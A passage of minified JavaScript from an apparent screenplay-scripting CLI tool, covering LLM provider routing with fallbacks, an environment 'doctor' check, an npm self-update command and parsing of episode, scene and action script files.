this.usageLog.map(t=>({...t}))}recordEvent(t,n,o,i,r,s,c=0,a){this.usageLog.push({...t,sequence:this.usageLog.length+1,status:n,attempts:c,startedAt:o,endedAt:i,durationMs:r,inputTokens:s.inputTokens??0,outputTokens:s.outputTokens??0,cachedInputTokens:s.cachedInputTokens??0,cacheCreationTokens:s.cacheCreationTokens??0,...a?{errorCode:a}:{}})}async tracked(t,n){let o=Date.now(),i=new Date(o).toISOString();try{let r=await n(),s=Date.now();return this.recordEvent(t,"succeeded",i,new Date(s).toISOString(),s-o,r.usage??{},r.attempts),r}catch(r){let s=Date.now(),c=r instanceof T?r:null;throw this.recordEvent(t,"failed",i,new Date(s).toISOString(),s-o,c?.usage??{},c?.attempts??1,c?.code),r}}resolveDoubao(t,n,o="turbo"){let i=qx[o],r=n?this.options.videoProvider:void 0,s=n?(r?.model??process.env.DOUBAO_TURBO_MODEL??"").trim():(process.env[i.modelEnv]??"").trim()||i.model;if(!s)throw Ge("Doubao requires --provider-model or DOUBAO_TURBO_MODEL.",["--provider-model <id> or DOUBAO_TURBO_MODEL"],["model: empty"]);let c={protocol:"openai-compatible",baseUrl:r?.baseUrl?Bd(r.baseUrl,"--provider-base-url"):i.baseUrl,apiKeyEnv:i.apiKeyEnv,timeoutMs:i.timeoutMs,maxAttempts:i.maxAttempts},a={provider:"doubao",model:s};return{info:{task:t,profile:n?"doubao":o==="lite"?"doubao-lite-fallback":"doubao-fallback",provider:"doubao",protocol:c.protocol,baseUrl:c.baseUrl,model:s,fingerprint:Hr(t,c,a)},providerConfig:c,modelConfig:a}}doubaoRoutes(t){return[this.resolveDoubao(t,!1,"lite"),this.resolveDoubao(t,!1,"turbo")].filter(n=>(process.env[n.providerConfig.apiKeyEnv]??"").trim())}adapter(t){let n=`${t.info.provider}\0${t.info.model}\0${t.modelConfig.thinkingBudgetTokens??""}`,o=this.adapters.get(n);if(o)return o;let i=(process.env[t.providerConfig.apiKeyEnv]??"").trim();if(!i&&t.providerConfig.protocol!=="google-vertex")throw Fi(t.info.provider);let r=t.providerConfig.protocol==="anthropic"?new Ws(t.providerConfig,t.modelConfig,i):new ra(t.providerConfig,t.modelConfig,i);return this.adapters.set(n,r),r}videoAdapter(t){if(!["google-gemini","google-vertex"].includes(t.providerConfig.protocol))throw Ge("Video tasks require a google-gemini provider.",["provider.protocol: google-gemini"],[`provider: ${t.info.provider}`,`protocol: ${t.providerConfig.protocol}`]);let n=t.info.model,o=`${t.info.provider} ${t.providerConfig.baseUrl??"official"} ${n}`,i=this.videoAdapters.get(o);if(i)return i;let r=this.videoCredential(t);if(!r&&t.providerConfig.protocol!=="google-vertex")throw Fi(t.info.provider);let s=new ia(t.providerConfig,t.modelConfig,r);return this.videoAdapters.set(o,s),s}videoCredential(t){let n=this.resolve(t.info.task).info,o=t.info.provider===n.provider&&t.info.baseUrl===n.baseUrl?this.options.videoProvider?.apiKey:void 0,i=o?.kind==="literal"?o.value.trim():o?.kind==="env"?(process.env[o.name]??"").trim():(process.env[t.providerConfig.apiKeyEnv]??"").trim();if(!i&&(o||t.providerConfig.protocol!=="google-vertex"))throw Fi(t.info.provider);return i}primaryVideoRoutes(t){if(t.info.provider!=="nnyyai-ci"||t.info.model!==Jd||Xd(t.info.baseUrl)!==oi.baseUrl)return aa(t);if(!(process.env[oi.apiKeyEnv]??"").trim())return[t];let n={provider:"nnyyai",model:Wd[0]},o={providerConfig:oi,modelConfig:n,info:{...t.info,profile:"nnyyai-fallback",provider:"nnyyai",model:n.model,fingerprint:Hr(t.info.task,oi,n),videoUploadMode:"base64"}};return[t,...aa(o)]}grsaiVideoRoutes(t){return!(process.env[Qn.apiKeyEnv]??"").trim()||Xd(t.providerConfig.baseUrl)===Qn.baseUrl?[]:Wd.map(n=>{let o={provider:"grsai",model:n};return{providerConfig:Qn,modelConfig:o,info:{task:t.info.task,profile:"grsai-fallback",provider:"grsai",protocol:Qn.protocol,baseUrl:Qn.baseUrl,model:n,videoUploadMode:"base64",fingerprint:Hr(t.info.task,Qn,o)}}})}fallbackVideoMedia(t){if(t.media.kind==="base64")return t.media;let n=t.media.kind==="local-fallback"?t.media.path:t.localPath;if(!n)throw Ge("Video channel fallback requires the local video.",["localPath"],["localPath: missing"]);let o=t.localMime??(t.media.kind==="file-api"?t.media.file.mimeType:t.media.mimeType);return{kind:"base64",data:Zd.readFileSync(n,"base64"),mimeType:o}}documentPort(t){if(An[t].mode!=="document")throw Ge("The task does not support document generation.",["document task"],[t]);let n=this.resolve(t);if(n.providerConfig.protocol!=="google-gemini"&&n.providerConfig.protocol!=="google-vertex")throw Ge("PDF tasks require a Gemini provider.",["google-gemini or google-vertex"],[n.providerConfig.protocol]);let o=(process.env[n.providerConfig.apiKeyEnv]??"").trim();if(!o&&n.providerConfig.protocol!=="google-vertex")throw Fi(n.info.provider);let i=new zr(n.providerConfig,n.modelConfig,o),r=new WeakMap;return{prepare:async(s,c)=>{let a;try{a=await i.prepare(s,c)}catch(d){if(!vo(d,c))throw d;process.stderr.write(`\u21AA\uFE0F PDF \u4E0A\u4F20\u5931\u8D25\uFF0C\u4F7F\u7528\u539F\u6587\u6863\u5B57\u8282\u7EE7\u7EED\u6A21\u578B\u8BF7\u6C42 (${hn(d.failure)})
158
+ `),a={kind:"base64",data:Zd.readFileSync(s).toString("base64"),mimeType:"application/pdf"}}return r.set(a,s),a},generate:async s=>{let c=aa(n),a=[];for(let[d,p]of c.entries()){s.signal?.throwIfAborted();let l=d===0?i:new zr(p.providerConfig,p.modelConfig,o);try{return await this.tracked(p.info,()=>l.generate(s))}catch(f){if(!vo(f,s.signal))throw f;let u=si(f,p.info);a.push(u);let y=c[d+1];if(y){process.stderr.write(`\u21AA\uFE0F ${p.info.model} \u6587\u6863\u8BF7\u6C42\u5931\u8D25\uFF0C\u5207\u6362\u5230 ${y.info.model} (${hn(u)})
159
+ `);continue}let m=f;for(let g of this.doubaoRoutes(t)){s.signal?.throwIfAborted();let w=this.arkAdapter(g);if(w){process.stderr.write(`\u21AA\uFE0F \u6587\u6863\u8BF7\u6C42\u5207\u6362\u5230\u8C46\u5305 ${g.info.model}
160
+ `);try{return await this.tracked(g.info,()=>w.generateDocument(s,r.get(s.media)))}catch(h){if(!vo(h,s.signal))throw h;a.push(si(h,g.info)),m=h}}}throw sa(m,a)}}throw new Error("Document model routes cannot be empty.")},release:async(s,c)=>{r.delete(s),await i.release(s,c)}}}videoPort(t){let n=An[t];if(n.mode!=="video")throw Ge("The task does not support video generation.",["video task"],[`task: ${t}`]);let o=this.resolve(t);if(this.options.videoProvider?.provider==="doubao"){let r=this.doubaoAdapter(o);if(!r)throw Fi("doubao");return{prepare:async(s,c,a,d)=>{if(a!=="file-api")throw Ge("Doubao requires file-api upload mode.",["file-api"],[a]);return d?.throwIfAborted(),{kind:"local",path:s,mimeType:c}},generate:s=>{if(s.media.kind!=="local")throw Ge("Doubao requires locally prepared video.",["local media"],[s.media.kind]);s.signal?.throwIfAborted();let{path:c,mimeType:a}=s.media;return this.tracked(o.info,()=>r.run({localPath:c,localMime:a,user:s.user,fps:s.fps,maxOutputTokens:n.maxOutputTokens,...s.system?{system:s.system}:{},...s.responseJsonSchema?{responseJsonSchema:s.responseJsonSchema}:{},...s.acceptsText?{acceptsText:s.acceptsText}:{},...s.signal?{signal:s.signal}:{}}))},release:async()=>{}}}if(!["google-gemini","google-vertex"].includes(o.providerConfig.protocol))throw Ge("Video tasks require a google-gemini provider.",["provider.protocol: google-gemini"],[`provider: ${o.info.provider}`,`protocol: ${o.providerConfig.protocol}`]);let i=this.videoAdapter(o);return{prepare:async(r,s,c,a)=>{let d=Date.now();try{return await i.prepare(r,s,c,a)}catch(p){if(!vo(p,a)||!this.primaryVideoRoutes(o).some(l=>l.providerConfig!==o.providerConfig)&&!this.grsaiVideoRoutes(o).length&&!this.doubaoRoutes(t).some(l=>this.doubaoAdapter(l)))throw p;return this.recordEvent(o.info,"failed",new Date(d).toISOString(),new Date().toISOString(),Date.now()-d,p.usage,p.attempts,p.code),{kind:"local-fallback",path:r,mimeType:s,primaryFailure:si(p,o.info)}}},release:(r,s)=>r.kind==="local-fallback"?Promise.resolve():i.release(r,s),generate:async r=>{r.signal?.throwIfAborted();let s=[...this.primaryVideoRoutes(o).filter(d=>r.media.kind!=="local-fallback"||d.providerConfig!==o.providerConfig),...this.grsaiVideoRoutes(o)],c=r.media.kind==="local-fallback"?[r.media.primaryFailure]:[],a;for(let[d,p]of s.entries()){r.signal?.throwIfAborted();try{let l=p.providerConfig===o.providerConfig?r.media:a??=this.fallbackVideoMedia(r);return await this.tracked(p.info,()=>this.videoAdapter(p).generate({...r,media:l,maxOutputTokens:n.maxOutputTokens}))}catch(l){if(!vo(l,r.signal))throw l;let f=si(l,p.info);c.push(f);let u=s[d+1];if(u){process.stderr.write(`\u21AA\uFE0F ${p.info.provider}/${p.info.model} \u8BF7\u6C42\u5931\u8D25\uFF0C\u5207\u6362\u5230 ${u.info.provider}/${u.info.model} (${hn(f)})
161
+ `);continue}if(!this.doubaoRoutes(t).some(y=>this.doubaoAdapter(y))||!r.localPath&&r.media.kind!=="local-fallback")throw sa(l,c);return this.generateDoubaoVideo(t,r,c)}}return this.generateDoubaoVideo(t,r,c)}}}async generateDoubaoVideo(t,n,o){let i=n.media.kind==="local-fallback"?n.media.path:n.localPath;if(!i)throw Ge("Doubao video fallback requires the local video.",["localPath"],["localPath: missing"]);let r=n.localMime??(n.media.kind==="file-api"?n.media.file.mimeType:n.media.mimeType),s=An[t];if(s.mode!=="video")throw Ge("Expected a video task.",["video task"],[t]);let c;for(let a of this.doubaoRoutes(t)){n.signal?.throwIfAborted();let d=this.doubaoAdapter(a);if(d){process.stderr.write(`\u21AA\uFE0F \u89C6\u9891\u8BF7\u6C42\u5207\u6362\u5230\u8C46\u5305 ${a.info.model}
162
+ `);try{return await this.tracked(a.info,()=>d.run({localPath:i,localMime:r,user:n.user,fps:n.fps,maxOutputTokens:s.maxOutputTokens,...n.system?{system:n.system}:{},...n.responseJsonSchema?{responseJsonSchema:n.responseJsonSchema}:{},...n.acceptsText?{acceptsText:n.acceptsText}:{},...n.signal?{signal:n.signal}:{}}))}catch(p){if(!vo(p,n.signal))throw p;o.push(si(p,a.info)),c=p}}}throw c?sa(c,o):Fi("doubao")}doubaoAdapter(t){return this.arkAdapter(t)}doubaoTextAdapter(t){return this.arkAdapter(t)}arkAdapter(t){let n=this.videoCredential(t);if(!n)return null;let{model:o}=t.info,{baseUrl:i,timeoutMs:r,maxAttempts:s}=t.providerConfig,c=`doubao ${i} ${o}`,a=this.doubaoAdapters.get(c);if(a)return a;let d=new ta(o,r,s,n,i);return this.doubaoAdapters.set(c,d),d}async withTextFallback(t,n,o){let i=this.resolve(t),r=Zx(i.info),s=r?aa(i):[i],c=[];for(let[a,d]of s.entries()){n?.throwIfAborted();let p=this.adapter(d);try{return await this.tracked(d.info,()=>o(p))}catch(l){if(!vo(l,n)||!r&&l.code!=="content_filtered")throw l;let f=si(l,d.info);c.push(f);let u=s[a+1];if(u){process.stderr.write(`\u21AA\uFE0F ${d.info.model} \u8BF7\u6C42\u5931\u8D25\uFF0C\u5207\u6362\u5230 ${u.info.model} (${hn(f)})
163
+ `);continue}let y=l;for(let m of this.doubaoRoutes(t)){n?.throwIfAborted();let g=this.doubaoTextAdapter(m);if(g){process.stderr.write(`\u21AA\uFE0F \u6587\u672C\u8BF7\u6C42\u5207\u6362\u5230\u8C46\u5305 ${m.info.model}
164
+ `);try{return await this.tracked(m.info,()=>o(g))}catch(w){if(!vo(w,n))throw w;c.push(si(w,m.info)),y=w}}}throw sa(y,c)}}throw new Error("Text model routes cannot be empty.")}async generateText(t,n){let o=An[t];if(o.mode!=="text")throw Ge("The task does not support text generation.",["text task"],[`task: ${t}`]);return this.withTextFallback(t,n.signal,i=>i.generateText({...n,maxOutputTokens:o.maxOutputTokens}))}async generateTool(t,n){let o=An[t];if(o.mode!=="tool")throw Ge("The task does not support tool generation.",["tool task"],[`task: ${t}`]);return this.withTextFallback(t,n.signal,i=>i.generateTool({...n,maxOutputTokens:o.maxOutputTokens}))}};function em(e,t){return new Qr(bo(e),t)}var Xx=Wx(import.meta.url);function ca(e){try{return Xx.resolve(e),!0}catch{return!1}}function e5(e){let t=!1;try{Bt.statSync(e).isDirectory()&&(Bt.accessSync(e,Bt.constants.W_OK),t=!0)}catch{t=!1}let n=!1;try{n=Bt.statSync(ai.join(e,"script.json")).isFile()}catch{n=!1}return{writable:t,hasScript:n}}function t5(){return ai.join(ai.dirname(ai.resolve("workspace")),"output")}function tm(e={}){let t=Ud(),n=[],o=new Set;for(let R of t)try{if(!Bt.existsSync(R)||!Bt.statSync(R).isFile())continue;let K=Bt.realpathSync(R);if(o.has(K))continue;o.add(K),n.push(R)}catch{}let i=typeof e.llm_config=="string"?e.llm_config.trim():"",r=bo(i||void 0),c=new Qr(r).routes(),a=Object.entries(r.providers).map(([R,K])=>({alias:R,configured:!!(process.env[K.apiKeyEnv]??"").trim(),env:K.apiKeyEnv})),d=Object.entries(r.providers).filter(([,R])=>R.protocol==="openai-compatible").map(([R,K])=>{let Z="not set";if(K.baseUrl)try{Z=new URL(K.baseUrl).host}catch{Z=K.baseUrl}return{alias:R,host:Z}}),{mode:p}=Tf(),l=(process.env.SCRIPTCTL_OUTPUT_DIR??"").trim()||t5(),f=p==="local"?e5(l):null,u=!!process.env.AWB_BASE_URL,y=!!process.env.LINGJING_AWB_ACCESS_KEY,m=!!process.env.SANDBOX_PROJECT_GROUP_NO,g={"@anthropic-ai/sdk":ca("@anthropic-ai/sdk"),"@google/genai":ca("@google/genai"),jszip:ca("jszip"),"fast-xml-parser":ca("fast-xml-parser")},w=Object.entries(g).filter(([,R])=>!R).map(([R])=>R),h=process.versions.node,_=`env_file: ${n[0]??"missing"}`,x=R=>R?"configured":"not configured",A=[`node: ${h}`,"storage: local-filesystem",_,`llm config: ${r.source}`,`llm routes: ${c.length}`,...a.map(R=>`llm provider ${R.alias}: ${x(R.configured)}`),...d.map(R=>`llm provider ${R.alias} endpoint: ${R.host}`)];p===null?A.push("output target: not configured"):p==="local"&&f?(A.push(`output writable: ${x(f.writable)}`),A.push(`output snapshot: ${f.hasScript?"present":"absent"}`)):(A.push(`gateway endpoint: ${x(u)}`),A.push(`gateway access credential: ${x(y)}`),A.push(`gateway project identifier: ${x(m)}`));for(let[R,K]of Object.entries(g))A.push(`dependency ${R}: ${K?"ok":"missing"}`);let k=[];w.length>0&&k.push("Install missing CLI dependencies (see above)."),a.some(R=>!R.configured)&&k.push("Configure every credential referenced by the selected LLM configuration."),d.some(R=>R.host==="not set")&&k.push("An openai-compatible provider has no endpoint \u2014 set PROJECT_LITELLM_GATEWAY_BASE_URL (built-in gateway) or the provider's baseUrl."),p===null?k.push("Configure an output target before running `publish` / script CRUD."):p==="local"?f&&!f.writable&&k.push("Output target is not writable; check directory permissions."):(!u||!y||!m)&&k.push("Configure gateway credentials before running `publish` / script CRUD against the remote project."),k.length===0&&k.push("Environment looks ready.");let[N,M]=h.split(".").map(R=>parseInt(R,10)),I=(N??0)>20||(N??0)===20&&(M??0)>=0,O=p===null?{configured:!1}:p==="local"?{dir:{ok:!!f?.writable,writable:!!f?.writable,hasScript:!!f?.hasScript}}:{endpoint:{ok:u},access:{ok:y},project:{ok:m}},U={node:{version:h,ok:I},storage:{backend:"local-filesystem",ok:!0},env:{ok:n.length>0,paths:n},llm:{config_source:r.source,...r.sourcePath?{config_path:r.sourcePath}:{},providers:a.map(R=>({alias:R.alias,ok:R.configured,credential_env:R.env,...d.find(K=>K.alias===R.alias)?{endpoint:d.find(K=>K.alias===R.alias).host}:{}})),profiles:Object.keys(r.models),routes:c.map(R=>({task:R.task,profile:R.profile,provider:R.provider,protocol:R.protocol,model:R.model}))},output:O,dependencies:g};return[{text:[...A,...k].join(`
165
+ `),data:{checks:U}},G]}import{spawn as n5}from"node:child_process";var da="@lingjingai/scriptctl",o5=`${da}@latest`,ep="npm";function i5(){return zi()}function r5(e){let t=/^(\d+)\.(\d+)\.\d+/.exec(e);return t?`${da}@~${t[1]}.${t[2]}.0`:null}function s5(e){return["install","-g",e]}function a5(e,t){return[e,...t].join(" ")}function c5(e,t){return e.split(/\r?\n/).map(o=>o.trim()).filter(o=>o.length>0).slice(-t)}function d5(e,t){return new Promise(n=>{let o=n5(e,[...t],{stdio:["ignore","pipe","pipe"]}),i=[],r=[];o.stdout.setEncoding("utf-8"),o.stderr.setEncoding("utf-8"),o.stdout.on("data",s=>i.push(s)),o.stderr.on("data",s=>r.push(s)),o.once("error",s=>{n({exitCode:null,signal:null,stdout:i.join(""),stderr:r.join(""),error:s})}),o.once("close",(s,c)=>{n({exitCode:s,signal:c,stdout:i.join(""),stderr:r.join("")})})})}async function nm(e,t=d5,n=i5){let o=!!e.patch,i=n(),r=o?r5(i):o5;if(!r)throw new S(`Cannot compute a patch update range from version ${i}.`,{exitCode:X,errorCode:"UPDATE_VERSION_INVALID",hint:"Run `scriptctl update` without --patch to install the latest version.",data:{version:i}});let s=[...s5(r)],c=a5(ep,s),a={package:da,package_spec:r,command:ep,args:s,command_line:c};if(e.dry_run)return[{text:[`package: ${da}`,`command: ${c}`,"dry-run: no update performed"].join(`
166
+ `),data:{op:"update",changed:!1,update:a}},G];let d=await t(ep,s);if(d.error)throw new S(`Failed to start npm: ${d.error.message}`,{exitCode:X,errorCode:"UPDATE_SPAWN_FAILED",hint:`Run '${c}' after fixing the npm installation.`,data:{update:a,cause:d.error.message}});if(d.exitCode!==G){let f=[`exit: ${d.exitCode===null?`signal ${d.signal??"unknown"}`:String(d.exitCode)}`,...c5(d.stderr,5).map(u=>`stderr: ${u}`)];throw new S("npm could not update scriptctl.",{exitCode:X,errorCode:"UPDATE_COMMAND_FAILED",hint:`Run '${c}' after resolving the npm error.`,data:{update:a,actual:f}})}let p=n(),l=p!==i;return[{text:l?`Updated ${i} \u2192 ${p}.`:`Already up to date (${p}).`,data:{op:"update",changed:l,status:l?"updated":"already_latest",previous_version:i,version:p}},G]}function om(e,t){e.command("doctor").description("Check configuration and runtime dependencies").option("--llm-config <path>","LLM configuration file").action(H(tm,t)),e.command("update").description("Update scriptctl to the latest release").option("-n, --dry-run","Show the update without installing").option("--patch","Allow a patch-level update").action(H(nm,t));let n=e.command("changelog [version]").description("Show release notes").option("--from <version>","Start version").option("--to <version>","End version").option("--unreleased","Show unreleased changes").action(H(Nf,t));Me(n,["Release version"])}import{Option as US}from"commander";import*as ui from"node:fs";import*as ba from"node:path";import{fileURLToPath as wS,pathToFileURL as _S}from"node:url";import*as rt from"node:fs";import*as it from"node:path";import{createHash as Km}from"node:crypto";import{z as ot}from"zod";import*as Ro from"node:fs";var im=null,p5=0;function Q(e,t){im&&im.push({fn:e,note:t,ms:Math.round((performance.now()-p5)*100)/100})}var l5=[["actor","actors","actor"],["location","locations","location"],["prop","props","prop"]];function Oo(e){return Array.isArray(e)?e:[]}function ke(e){return typeof e=="string"?e:""}function Yn(e,t,n,o){if(t){if(e.has(t)&&e.get(t)!==n){o.add(t);return}e.set(t,n)}}function np(e){return Mo(JSON.parse(Ro.readFileSync(e,"utf8")),e)}function Mo(e,t=""){let n=e?.version;if(n!==3&&n!==4)throw new Error(`Unsupported script.version: ${JSON.stringify(n)} (expected 3 or 4)`);let o={version:n,path:t,raw:e,episodes:[],assets:[],byId:new Map,eps:new Map,scenes:new Map,actions:new Map};for(let[a,d,p]of l5)for(let l of Oo(e[d])){let f={id:ke(l[`${p}_id`]),kind:a,name:ke(l[`${p}_name`]),aliases:Oo(l.aliases).map(ke).filter(Boolean),importance:ke(l.importance),desc:ke(l.description),states:Oo(l.states).map(u=>({id:ke(u.state_id),name:ke(u.state_name),desc:ke(u.description)})),raw:l,label:""};o.assets.push(f),o.byId.set(f.id,f)}let i=new Map;for(let a of o.assets)for(let d of[a.name,...a.aliases])i.set(d,(i.get(d)??0)+1);for(let a of o.assets)a.label=[a.name,...a.aliases].filter(d=>i.get(d)===1).sort((d,p)=>d.length-p.length)[0]??a.name;let r=new Set,s=0,c=0;Oo(e.episodes).forEach((a,d)=>{let p={anchor:String(d+1),id:ke(a.episode_id),no:d+1,title:ke(a.title)||void 0,synopsis:ke(a.synopsis)||void 0,scenes:[],raw:a};Oo(a.scenes).forEach((l,f)=>{s++;let u={anchor:n===4?ke(l.scene_id):`${d+1}-${f+1}`,id:ke(l.scene_id),no:f+1,gno:s,env:l.environment??{},location:tp(l.location,"location_id"),actors:Oo(l.actors).map(y=>tp(y,"actor_id")).filter(Boolean),props:Oo(l.props).map(y=>tp(y,"prop_id")).filter(Boolean),actions:[],raw:l,ep:p};Oo(l.actions).forEach((y,m)=>{c++;let g={anchor:n===4?ke(y.action_id):`${d+1}-${f+1}-${m+1}`,no:m+1,gno:c,type:ke(y.type)||"action",content:ke(y.content),speaker:u5(y.speaker),paren:typeof y.parenthetical=="string"?y.parenthetical:typeof y.emotion=="string"?y.emotion:void 0,ts:ke(y.extend?.timestamp)||void 0,raw:y,scene:u};u.actions.push(g),Yn(o.actions,g.anchor,g,r),Yn(o.actions,`${d+1}-${f+1}-${m+1}`,g,r),n===3&&Yn(o.actions,`${p.id}/${u.id}#${m}`,g,r)}),p.scenes.push(u),Yn(o.scenes,u.anchor,u,r),Yn(o.scenes,`${d+1}-${f+1}`,u,r),Yn(o.scenes,`${p.id}/${u.id}`,u,r),Yn(o.scenes,u.id,u,r)}),o.episodes.push(p),Yn(o.eps,String(d+1),p,r),Yn(o.eps,p.id,p,r)});for(let a of r)o.actions.delete(a),o.scenes.delete(a),o.eps.delete(a);return Q(t?"model.load":"model.parse",`v${n} \xB7 ${o.episodes.length} ep \xB7 ${o.scenes.size} scene keys \xB7 ${o.actions.size} action keys \xB7 ${o.assets.length} assets \xB7 ${r.size} ambiguous keys dropped`),o}function tp(e,t){if(!e||typeof e!="object")return null;let n=ke(e[t]);if(!n)return null;let o=Array.isArray(e.state_ids)?e.state_ids.map(ke):e.state_id?[ke(e.state_id)]:[];return{id:n,states:o,raw:e}}function u5(e){if(!(!e||typeof e!="object")){if(e.actor_id)return{id:ke(e.actor_id),state:ke(e.state_id)||void 0};if(e.kind)return{kind:ke(e.kind),label:ke(e.label)||void 0}}}function Te(e,t){let n=t.trim();if(!n)return{t:"script",doc:e};let o=n.indexOf("/");if(o>0&&!e.scenes.has(n)){let p=n.slice(0,o),l=n.slice(o+1),f=e.byId.get(p)??f5(e,p);if(f){let u=f.states.filter(y=>y.id===l||y.name===l);if(u.length===1)return Q("resolve",`"${n}" -> state ${f.id}/${u[0].id} "${u[0].name}"`),{t:"state",asset:f,state:u[0]};throw u.length>1?new Error(`${f.name} has ${u.length} states named "${l}"; address it by state id`):new Error(`${f.name} has no state "${l}" (has: ${f.states.map(y=>`${y.id}(${y.name})`).join(", ")})`)}}let i=e.actions.get(n);if(i)return Q("resolve",`"${n}" -> action map hit -> ${i.anchor}`),{t:"action",action:i};let r=e.scenes.get(n);if(r)return Q("resolve",`"${n}" -> scene map hit -> ${r.anchor}`),{t:"scene",scene:r};let s=e.eps.get(n);if(s)return Q("resolve",`"${n}" -> episode map hit -> ${s.id}`),{t:"ep",ep:s};let c=e.byId.get(n);if(c)return Q("resolve",`"${n}" -> asset id hit -> ${c.name}`),{t:"asset",asset:c};let a=e.assets.filter(p=>p.name===n||p.aliases.includes(n));if(a.length===1)return Q("resolve",`"${n}" -> exact name/alias -> ${a[0].id} ${a[0].name}`),{t:"asset",asset:a[0]};if(a.length>1)throw new Error(`Ambiguous name "${n}": ${a.map(p=>`${p.id}(${p.name})`).join(", ")}`);let d=e.assets.filter(p=>p.name.includes(n)||p.aliases.some(l=>l.includes(n)));if(d.length===1)return Q("resolve",`"${n}" -> substring name match -> ${d[0].id} ${d[0].name}`),{t:"asset",asset:d[0]};throw new Error(`Unknown address "${n}". Use an ordinal (3 / 3-2 / 3-2-5), a canonical ID, or an asset name.`+(d.length?` Did you mean: ${d.slice(0,5).map(p=>p.name).join(", ")}?`:""))}function f5(e,t){let n=e.assets.filter(i=>i.name===t||i.aliases.includes(t));if(n.length===1)return n[0];if(n.length>1)return;let o=e.assets.filter(i=>i.name.includes(t)||i.aliases.some(r=>r.includes(t)));return o.length===1?o[0]:void 0}function ci(e,t){return e.byId.get(t)?.label||t}function di(e,t,n){return e.byId.get(t)?.states.find(i=>i.id===n)?.name||n}function kn(e){return e.episodes.flatMap(t=>t.scenes.flatMap(n=>n.actions))}var m5={ep:"episode",scn:"scene",ac:"action",act:"actor",loc:"location",prp:"prop",st:"state"};function Lo(e,t){let n=kr(m5[e],t);return t.add(n),Q("newId",`${n} (collision-checked against ${t.size-1} live ids)`),n}function be(e){if(Object.assign(e,Mo(e.raw,e.path)),!e.path){Q("save","skipped: document is not bound to a file");return}rm(e,e.path)}function rm(e,t=e.path){if(!t)throw new Error("commit needs a path: this document is not bound to a file");let n=`${t}.tmp-${process.pid}`;Ro.writeFileSync(n,JSON.stringify(e.raw,null,2)+`
167
+ `),Ro.renameSync(n,t),Q("commit",`${Ro.statSync(t).size} bytes -> ${t} (tmp + atomic rename)`)}var g5={system:"\u65C1\u767D",broadcast:"\u5E7F\u64AD",offscreen:"\u753B\u5916",group:"\u7FA4\u58F0"},sm="\u5FC3\u58F0";function h5(e,t){if(t.kind)return g5[t.kind]??t.kind;let n=ci(e,t.id);return t.state?`${n}\xB7${di(e,t.id,t.state)}`:n}function Fr(e,t,n,o={}){let i=(o.plain?"":t.anchor).padEnd(n),r=o.timestamps?`${t.ts??"[\u65F6\u95F4\u7F3A\u5931]"} `:!o.plain&&t.ts?`${t.ts} `:"",s=(()=>{if(t.type==="transition")return`\u2192 ${t.content}`;if(t.type==="dialogue"||t.type==="inner_thought"){let a=t.speaker?h5(e,t.speaker):"?",d=[t.type==="inner_thought"?sm:"",t.paren??""].filter(Boolean);return`${t.speaker?.kind&&t.speaker.label?`${a}\xB7${t.speaker.label}`:a}${d.length?`(${d.join("/")})`:""}\uFF1A${t.content}`}return t.content})(),c=`${i}${i?" ":""}`;return`${o.timestamps?r+c:c+r}${s}`.replace(/\n/g,"\\n")}function op(e,t){let n=ci(e,t.id);return t.states.length===1&&t.states[0]==="default"?n:`${n}(${t.states.map(o=>di(e,t.id,o)).join("+")})`}function Yi(e,t){let n=[t.env?.space,t.env?.time].filter(Boolean).join("/").toUpperCase(),o=t.location?op(e,t.location):"\u2014",i=`## ${t.ep.no}-${t.no} ${t.anchor===`${t.ep.no}-${t.no}`?t.id:t.anchor} ${n||"\u2014"} ${o} ${t.actions.length} actions`,r=t.actors.map(a=>op(e,a)).join(", "),s=t.props.map(a=>op(e,a)).join(", "),c=[r&&`cast: ${r}`,s&&`props: ${s}`].filter(Boolean).join(" ");return c?`${i}
168
+ # ${c}`:i}function ip(e,t,n={}){let o=n.plain?0:Math.max(0,...t.actions.map(i=>i.anchor.length));return Q("formatScene",`${t.anchor}: ${t.actions.length} actions, gutter=${o}`),[Yi(e,t),...t.actions.map(i=>Fr(e,i,o,n))].join(`
169
+ `)}var y5=/^([A-Za-z][A-Za-z0-9_]*|\d+(?:-\d+){0,2})\s\s+/;function am(e,t){let n=e.trimEnd();if(!n.trim())return null;let o,i=n.match(y5);i&&(o=i[1],n=n.slice(i[0].length)),n=n.replace(/\\n/g,`
170
+ `);let r,s=n.match(/^((?:\d+:)?\d+:\d{2}(?:\.\d{1,3})?)\s/);if(s&&(r=s[1],n=n.slice(s[0].length)),n.startsWith("\u2192"))return{anchor:o,ts:r,type:"transition",content:n.slice(1).trim()};let c=n.indexOf("\uFF1A");if(c>0){let d=n.slice(0,c).match(/^([^()]+)(?:\((.*)\))?$/);if(d&&t(d[1].trim())){let p=(d[2]??"").split("/").map(u=>u.trim()).filter(Boolean),l=p[0]===sm,f=(l?p.slice(1):p).join("/");return{anchor:o,ts:r,type:l?"inner_thought":"dialogue",speakerName:d[1].trim(),paren:f||void 0,content:n.slice(c+1).trim()}}}return{anchor:o,ts:r,type:"action",content:n.trim()}}var w5=/^(scn[1-9A-HJ-NP-Za-km-z]{6}|scn_\d+)$/,_5=/^[A-Z.\/]+$/,E5=/^\d+\s+actions?$/,x5={EXT:"exterior",EXTERIOR:"exterior",INT:"interior",INTERIOR:"interior"};function cm(e){let t=e.findIndex(i=>i.startsWith("##"));if(t<0)return{body:e};let n=e[t+1]?.startsWith("#")&&!e[t+1].startsWith("##"),o=e.filter((i,r)=>r!==t&&!(n&&r===t+1));return{head:e[t],meta:n?e[t+1]:void 0,body:o}}function rp(e,t){let n={env:{},cast:[],props:[]},o=e.replace(/^##\s*/,"").split(/\s{2,}/).map(i=>i.trim()).filter(Boolean);for(let i of o)if(!(/^\d+-\d+$/.test(i)||E5.test(i))){if(w5.test(i)){n.anchor=i;continue}if(_5.test(i)&&i!=="\u2014"){let[r,s]=i.split("/");r&&(n.env.space=x5[r]??r.toLowerCase()),s&&(n.env.time=s.toLowerCase());continue}i!=="\u2014"&&n.location===void 0&&(n.location=i)}if(t){let i=t.replace(/^#\s*/,""),r=i.match(/cast:\s*([^]*?)(?:\s\sprops:|$)/),s=i.match(/props:\s*([^]*)$/),c=a=>(a??"").split(",").map(d=>d.trim()).filter(Boolean);n.cast=c(r?.[1]),n.props=c(s?.[1])}return n}function dm(e){let t=e.trim().match(/^(.*?)\s*\(([^)]*)\)$/);return t?{name:t[1].trim(),states:t[2].split("+").map(n=>n.trim()).filter(Boolean)}:{name:e.trim(),states:[]}}function qi(e,t){throw Object.assign(new Error(e),t)}function ap(e){return 